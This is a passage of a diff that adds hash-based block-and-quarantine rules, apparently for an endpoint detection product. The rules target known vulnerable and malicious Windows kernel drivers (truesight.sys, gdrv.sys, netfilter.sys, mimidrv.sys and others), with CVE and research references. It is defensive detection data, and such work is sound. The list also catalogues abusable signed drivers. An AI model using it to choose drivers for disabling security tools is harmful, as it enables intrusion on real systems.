+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967771Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8bc88ce0b5d4b4d42fe51f869b7b4fd34eaa17d04c8058b93b3536129721a129",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6a0c75a6-5a18-5412-bb1a-3eaff32ad9fe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152236Z",
+  "creation_date": "2026-03-23T11:45:31.152238Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152247Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab93eb13a7362324b0d89549505c747b572382d363ee9c89418a671a56342811",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6a24fff6-a7c5-51a3-8301-d792efccc7bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453724Z",
+  "creation_date": "2026-03-23T11:45:30.453727Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453736Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "00e341c11664a6330122830344bce02aab886143bcaf8f642ab8abc57d80f1e3",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6a2fa299-1c5c-5eda-a779-3d3e6dff2041",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143861Z",
+  "creation_date": "2026-03-23T11:45:31.143863Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143881Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d6c0cce3aef9b8ee4a8323818434c67b1563096ec46738b7475027d582c2b11b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6a4ab4c6-344c-5033-928e-c609b0e31a25",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622349Z",
+  "creation_date": "2026-03-23T11:45:29.622351Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622356Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "72288d4978ee87ea6c8b1566dbd906107357087cef7364fb3dd1e1896d00baeb",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6a53ba09-626e-5d84-95ef-d6c1c68b39d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475827Z",
+  "creation_date": "2026-03-23T11:45:30.475831Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475839Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "00c02901472d74e8276743c847b8148be3799b0e3037c1dfdca21fa81ad4b922",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6a56ce7a-0600-5b8f-9eef-5e482e6b45ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810398Z",
+  "creation_date": "2026-03-23T11:45:31.810400Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810405Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8b0e6af5764304da088fd609f86da118fbc1372381b5701b907f83400ca69e94",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6a59d775-fe31-5e57-a7e1-44b24dd0f624",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468107Z",
+  "creation_date": "2026-03-23T11:45:30.468111Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468120Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "db7a15aa5b85845831dcdcebf837b22cf43fa572dd9cb0bb0d264af519b8d406",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6a5aeb6a-9beb-5e91-9d3f-0eaf0af44aea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493653Z",
+  "creation_date": "2026-03-23T11:45:31.493657Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493665Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f868341ee5cb31b1c8d61d246b0c2745fca5a571186fae4ae724837059c32df8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6a5c110c-7065-518c-9d85-e301b54f24b4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154024Z",
+  "creation_date": "2026-03-23T11:45:31.154026Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154031Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad27a4b2ac4df42b49b935e71da004afc7ac7b2779050e2a3b778da1e840a941",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6a60ba86-44b0-5b78-b2e5-2dd3df95fdd6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973844Z",
+  "creation_date": "2026-03-23T11:45:29.973846Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973852Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "97b32ddf83f75637e3ba934df117081dd6a1c57d47a4c9700d35e736da11d5bd",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6a666cee-2bbc-51ba-932f-f57c86e0c592",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621390Z",
+  "creation_date": "2026-03-23T11:45:29.621391Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621397Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5ae23f1fcf3fb735fcf1fa27f27e610d9945d668a149c7b7b0c84ffd6409d99a",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6a6db6d4-b17f-59da-b379-25f08c28a210",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487808Z",
+  "creation_date": "2026-03-23T11:45:31.487810Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487815Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "39326a1bcb6a96dabcb9dfb519f880680eb39f35ea495618637952507c6dbfec",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6a71118a-9d04-564d-a915-11bc0f4e7c42",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827774Z",
+  "creation_date": "2026-03-23T11:45:31.827777Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827786Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "78f415efdf3a409abd1d45320264bde4a1862f56d1cb9216f3e2f9a2d7171809",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6a77e505-957c-5c2d-9cdd-96065b21bc3c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146727Z",
+  "creation_date": "2026-03-23T11:45:32.146729Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146735Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c5400ae731464079590aad494bcf2e0799bb4281ea49baa9580ab2f1ee207861",
+  "comment": "Vulnerable Kernel Driver (aka ACPIx86.sys) [https://www.loldrivers.io/drivers/fd6c52b1-aeaa-4d89-8051-91acc68c3270/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6a7a98f8-e3bf-50a9-ae75-22ca4a7206de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971579Z",
+  "creation_date": "2026-03-23T11:45:29.971581Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971586Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "de99cea1cb680816afa10d2629a8067af1dc289d2d162a21b9dba71eb0e47745",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6a7b0d5a-1f35-5d7c-bcd7-b4a6653164a7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808631Z",
+  "creation_date": "2026-03-23T11:45:31.808633Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808639Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8fdc7fe94185ea96f4af7a513d7644ec9cb66cce3207358cbd8dc330caf7bc85",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6a7b29ef-b663-5cf5-b3da-4fc999013779",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615849Z",
+  "creation_date": "2026-03-23T11:45:29.615851Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615857Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e5648f892460e2a2a450519b523007ca6973a3679a59c07582aa5bdbd6584d4",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6a8cdd55-f402-5fef-9d29-26b4ab762e66",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823682Z",
+  "creation_date": "2026-03-23T11:45:30.823684Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823690Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7acc162be849c4f95d8d74c3f5aa97681c62406f604bdc5e3cf4d9993dcfcc80",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6aa4fec8-482e-59e2-b1a8-082a6b9960c2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967530Z",
+  "creation_date": "2026-03-23T11:45:29.967532Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967538Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d64f906376f21677d0585e93dae8b36248f94be7091b01fd1d4381916a326afe",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6aaa0071-6503-50ed-b481-ac5658890a6a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609540Z",
+  "creation_date": "2026-03-23T11:45:29.609541Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609547Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b5433ec27586bdd8d2ef606f9212d8ed75ae3ae2e201a1acaf325d9b12239df8",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6aab1a7b-6d25-57a3-b4d4-18edb5bd340d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609041Z",
+  "creation_date": "2026-03-23T11:45:29.609043Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609048Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "17927b93b2d6ab4271c158f039cae2d60591d6a14458f5a5690aec86f5d54229",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6aac6845-a0b9-5b58-90ab-518a73c39e9a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487558Z",
+  "creation_date": "2026-03-23T11:45:31.487560Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487566Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34a49a7c6263fab5bb04eca3a281865480cc26183b4a09aa27f54948e9b3f211",
